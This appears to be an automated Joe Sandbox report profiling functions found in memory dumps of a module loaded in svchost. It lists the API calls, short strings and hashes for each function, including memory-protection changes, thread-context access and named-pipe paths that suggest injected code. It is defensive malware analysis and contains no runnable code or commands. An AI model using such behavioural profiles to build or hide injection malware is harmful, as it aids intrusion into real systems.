API String ID: 3013587201-537541572
Opcode ID: ec1e5874304155dc1a340afb949db992b9dfa589f06c8a0471ec677ed5d909ab
Instruction ID: f94411bdc3c5adc3673d068f26baf74004ea3de06b1d5fa0a00e338998d396b5
Opcode Fuzzy Hash: ec1e5874304155dc1a340afb949db992b9dfa589f06c8a0471ec677ed5d909ab
Instruction Fuzzy Hash: 4741B236313E0492EB17DB9AA8647D623E7BB45BA0F494125DD0AE7F84EE3CC44A8350

Function 00000195DD5C104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000195DD5C10B1
RegEnumValueW.ADVAPI32 ref: 00000195DD5C1117
GetProcessHeap.KERNEL32 ref: 00000195DD5C115A
HeapAlloc.KERNEL32 ref: 00000195DD5C1168
GetProcessHeap.KERNEL32 ref: 00000195DD5C1185
HeapFree.KERNEL32 ref: 00000195DD5C1193

Strings

d, xrefs: 00000195DD5C10D6

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 85125c25dfd785958ae00b37ce84ac9a8513cd9fd1755175fa0b0cf5bc826ac5
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: CC418C33214F88C6E761CFA5E45479A77E2F389B89F048129DA8957B58DF3CC489CB00

Function 00000195DD5CD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD087
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0A6
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0CE
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0DF
FlsSetValue.KERNEL32(?,?,?,00000195DD5CC7DE,?,?,?,?,?,?,?,?,00000195DD5CCF9D,?,?,00000001), ref: 00000195DD5CD0F0

Strings

Y%, xrefs: 00000195DD5CD0A6
1%, xrefs: 00000195DD5CD0CE

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: b29a2c01b9a529d3d397189201e4ebb9e472c9377beb16884566e216c47c93f0
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 47112134707A8881FB6A67AF59717E963C35B847F0F1443269839F6EDAEE28C5428700

Function 00000195DD5C7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000195DD5C7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000195DD5C758A
_RTC_Initialize.LIBCMT ref: 00000195DD5C75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000195DD5C75DE
__scrt_release_startup_lock.LIBCMT ref: 00000195DD5C7609

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: db17aeae78a532267f4925ec03955f9628ff8aa19b2b3ce37216714fce8ee9dc
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 7281A031602E0F86FB63ABEE98713D967D3AB45780F145415DA05F7F96EB78C8868700

Function 00000195DD5C9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000195DD5C9E49
GetLastError.KERNEL32 ref: 00000195DD5C9E57
LoadLibraryExW.KERNEL32 ref: 00000195DD5C9E81
FreeLibrary.KERNEL32 ref: 00000195DD5C9EC7
GetProcAddress.KERNEL32 ref: 00000195DD5C9ED3

Strings

api-ms-, xrefs: 00000195DD5C9E69

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 9d3cf39bc7784cd844787513709c7d04fd8390ef6f847f410b46324ceba80f6d
Instruction ID: 8d15efdb5329dbd6f8d908350e729aaeb4b7b6a33fa5c2f06519c4c6539ee195
Opcode Fuzzy Hash: 9d3cf39bc7784cd844787513709c7d04fd8390ef6f847f410b46324ceba80f6d
Instruction Fuzzy Hash: 0E31E531213E04D1EF13DBCAA4207D523D6B759BA1F590625DD1EABB98EF38C245C710

Function 00000195DD5D3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000195DD5D3DE5
GetLastError.KERNEL32 ref: 00000195DD5D3DF1
CloseHandle.KERNEL32 ref: 00000195DD5D3E09
CreateFileW.KERNEL32 ref: 00000195DD5D3E34
WriteConsoleW.KERNEL32 ref: 00000195DD5D3E53

Strings

CONOUT$, xrefs: 00000195DD5D3E15

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 900ef7d4bcd6fd2864e51168dc1007f1dfbbe5e213ae5e9ff28ad5abe65b03b1
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 2C11BF32310F4086E7629B96E8643A9B3E1F788FE5F044224EA1A97B94CF78C8058750

Function 00000195DD5C3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000195DD5C379E
GetCurrentProcess.KERNEL32 ref: 00000195DD5C37CC
VirtualProtectEx.KERNEL32 ref: 00000195DD5C37EE
GetCurrentProcess.KERNEL32 ref: 00000195DD5C3809
VirtualProtectEx.KERNEL32 ref: 00000195DD5C382A

Strings

wr, xrefs: 00000195DD5C37FF

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 42188e63fbb78b0732cb93c59acbf515d5b68af2c84de3977fd9872ca41c66e2
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 38118E36302F4982FF559B95F4242A963F2F749B85F040028DE8953B94EF3DC545C714

Function 00000195DD5C5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5B6B
GetThreadContext.KERNEL32 ref: 00000195DD5C5CD5

Part of subcall function 00000195DD5C5960: GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5964

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 195e277db55ff97f3f99f451c10649e3fcd3ec1e2be31b8428dbef89db2187c3
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 12D17876205F8882DB71DB9AE4A439A77E1F388B84F500116EA8E97FA5DF3CC551CB40

Function 00000195DD5C2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C2F27
HeapAlloc.KERNEL32 ref: 00000195DD5C2F3A
StrCmpNIW.SHLWAPI ref: 00000195DD5C2FAF
GetProcessHeap.KERNEL32 ref: 00000195DD5C3015
HeapFree.KERNEL32 ref: 00000195DD5C3023

Strings

dialer, xrefs: 00000195DD5C2FA8

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: fc4c9099da629ec678108cb9cb41e40dfa530a30d66993f12becd6c4ba3f9dba
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 0C317036702F5DC2E716DF9AE561BA977E2FB44B84F084020DE48A7F55EB34C4A18740

Function 00000195DD5CCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000195DD5CCFAF
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CCFE5
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CD012
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CD023
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CD034
SetLastError.KERNEL32 ref: 00000195DD5CD04F

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 8fdc15ff09e63732eb275527d3260f2eb5a265f6af426b64fb26ff3aadc1099c
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: C9115E34203E4882FB66A7AE59757B963C39B847B4F144725A836F6FD6EE6884428700

Function 00000195DD5C199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000195DD5C19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000195DD5C19E0
PathFindFileNameW.SHLWAPI ref: 00000195DD5C19EF
lstrlenW.KERNEL32 ref: 00000195DD5C19FB
StrCpyW.SHLWAPI ref: 00000195DD5C1A0E
CloseHandle.KERNEL32 ref: 00000195DD5C1A1C

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 094941dede99f9d048632fe007c60956db5d273133d38dce1c9db68577c35704
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: F4018C31300E4882EB11DB92A86879963E2F788FC1F884035DE4DA3B54DF3CC98AC750

Function 00000195DD5C36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000195DD5C36E4
GetCurrentProcess.KERNEL32 ref: 00000195DD5C36F2
VirtualProtectEx.KERNEL32 ref: 00000195DD5C3714
GetCurrentProcess.KERNEL32 ref: 00000195DD5C3732
VirtualProtectEx.KERNEL32 ref: 00000195DD5C3753
TerminateThread.KERNEL32 ref: 00000195DD5C3762

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: a4c37ed03e2153ec921c4fe35d3b930d694565bbf9533148a8bdd7b871a42841
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 00014075312F4882FF269BA6E82879573E2BB45B86F040424CE4967B54EF3DC149C710

Function 00000195DD5C9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD5C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5C90A8
RtlUnwindEx.NTDLL ref: 00000195DD5C90F7

Strings

csm, xrefs: 00000195DD5C908E
f, xrefs: 00000195DD5C9026

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 23eacf76fefb4f7f9308e1222479b694a5ecefb866da3529da442ff7070fa44f
Instruction ID: b6a9a57366d7e32ba7d8204e1a09c4ae5b67336b6113bd5d1bf03962d45849d0
Opcode Fuzzy Hash: 23eacf76fefb4f7f9308e1222479b694a5ecefb866da3529da442ff7070fa44f
Instruction Fuzzy Hash: FD51E732703A088AEB16CF59E469BD837D7F34AB89F518124DA06A3B8CDB75C841CB44

Function 00000195DD5C8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD5C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5C90A8
RtlUnwindEx.NTDLL ref: 00000195DD5C90F7

Strings

csm, xrefs: 00000195DD5C908E
f, xrefs: 00000195DD5C9026

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 3343c703fad3ff3a8a0055ce76d4c8b5bb2113134d4bfc35ff936db91a6087cf
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 3931D132202A44C6E716DF5AE86879937E6F745BCAF058014EE46A7B8DDB39C941CB04

Function 00000195DD5C1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000195DD5C1A60
StrCmpNIW.SHLWAPI ref: 00000195DD5C1A7A
lstrlenW.KERNEL32 ref: 00000195DD5C1A89
StrCpyW.SHLWAPI ref: 00000195DD5C1A9E

Strings

\\?\, xrefs: 00000195DD5C1A6E

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: df346fd54c246db8dc1c541bbdd1f0d6174768352badab0d676f886130502b32
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 2BF04432304A4592E7618BA5F8A479967E2F748BD8F844021DA4957E54DF3CC64ECB10

Function 00000195DD5C3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000195DD5C3066
StrCpyW.SHLWAPI ref: 00000195DD5C3076
StrCatW.SHLWAPI ref: 00000195DD5C3082
PathCombineW.SHLWAPI ref: 00000195DD5C3090

Strings

\\.\pipe\, xrefs: 00000195DD5C305C

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 9bf27a7e66860d5ed9a1e4fc62765c01fea6d54f0cf7a99623ebd25812deed3f
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: FFF01C75715F8882FB158F97B92419967E2AB48FD1F089131EE4A67F28DF3CC4868710

Function 00000195DD5CBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000195DD5CBCBD
GetProcAddress.KERNEL32 ref: 00000195DD5CBCD3
FreeLibrary.KERNEL32 ref: 00000195DD5CBCFA

Strings

CorExitProcess, xrefs: 00000195DD5CBCCC
mscoree.dll, xrefs: 00000195DD5CBCB4

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 6fff49532d995f645c10438cf692a88e56ff7661239a114b43dcc12d8e254882
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 9BF09675311F0981EF118BA8E46439963E2EB857A1F540219CA6A56BE4DF3CC546C310

Function 00000195DD5C50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5156

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: a3c0edd0877988b553c5cb3f44ac1cf59b63286ea202ec1d8159712ba189bc8b
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 7402A83221AB8486E761CB99E4A479EB7E1F3C4794F104115EA8E97FA9DF7CC484CB00

Function 00000195DD5C5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5726

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: c54ef34d66bd00901bd8adbac774be78d0448155a515a9e92ef6434a46babdc8
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 5561EB3661AF48C6E761DB9AE46475AB7E2F388784F500115EA8E97FA8DB7CC440CF40

Function 00000195DD5A3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000195DD5A352C
_set_statfp.LIBCMT ref: 00000195DD5A3547
_set_statfp.LIBCMT ref: 00000195DD5A3563
_set_statfp.LIBCMT ref: 00000195DD5A359F

Memory Dump Source

Source File: 00000028.00000002.3281796722.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 33dfdcfffdc3893784a7b309723e3667eaa1db39b5b3fd1c14ced88943099ce3
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 0111E332A10F3141FBA691ECE4753E91AC36F5C37CF49A638A96626ED6CA2CF8405700

Function 00000195DD5D4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000195DD5D412C
_set_statfp.LIBCMT ref: 00000195DD5D4147
_set_statfp.LIBCMT ref: 00000195DD5D4163
_set_statfp.LIBCMT ref: 00000195DD5D419F

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 4f18cf734432864d1cadb05385a9f61388192ac32121d651ae8f93e19ceaa8fb
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 38115132A10F9131FB6615E8D4763E611DB6B683F8F180724A97636FD68A24C8414721

Function 00000195DD59F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000195DD59F124

Strings

Tuesday, xrefs: 00000195DD59F0F4
Wednesday, xrefs: 00000195DD59F1ED
or copy constructor iterator', xrefs: 00000195DD59F25A, 00000195DD59F275

Memory Dump Source

Source File: 00000028.00000002.3281796722.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: e363e31868ba0ebea0856da9f2af10226048556fbf55e11a4800ee541c068533
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 3261D53A600E40C2FB6BCBE4E9703EE2AE3E785780F554415CA5A37FA4DB34D8499B40

Function 00000195DD5CAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000195DD5CAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000195DD5CAAB7

Strings

MOC, xrefs: 00000195DD5CAA7C
RCC, xrefs: 00000195DD5CAA85

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 10fc382da7d13d8ad43a4db652bb922ee3acc66b14bf34360ded925820cce3ee
Instruction ID: 14cf2eee4fbcc911eae32f8475549afe507b7b7c46814838016a04d8a23f088c
Opcode Fuzzy Hash: 10fc382da7d13d8ad43a4db652bb922ee3acc66b14bf34360ded925820cce3ee
Instruction Fuzzy Hash: DD614932602A888AEB21DFA9D4503DD7BE2F354B8CF045215EF4967B98DB39D595C700

Function 00000195DD59A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD59A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000195DD59A288

Strings

csm, xrefs: 00000195DD59A1C2
csm, xrefs: 00000195DD59A2DA

Memory Dump Source

Source File: 00000028.00000002.3281796722.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 630a7bd136e047a971954e7c30b8e6e87b54a1208c2d6339fb40a23e9a14be36
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 9351AA32100B80CAEF768BA5946439877E2F355BC4F189216DB99A7FD5CB3AD490CF10

Function 00000195DD5CAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD5CADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000195DD5CAE88

Strings

csm, xrefs: 00000195DD5CADC2
csm, xrefs: 00000195DD5CAEDA

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
